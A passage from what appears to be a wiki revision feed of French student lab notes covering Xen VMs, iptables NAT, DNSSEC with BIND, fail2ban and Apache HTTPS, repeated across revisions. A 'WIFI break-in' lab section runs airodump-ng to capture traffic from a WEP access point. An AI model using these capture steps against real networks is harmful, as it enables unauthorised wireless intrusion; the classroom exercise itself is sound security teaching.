Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12141</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12141"/>
		<updated>2026-02-10T14:05:23Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
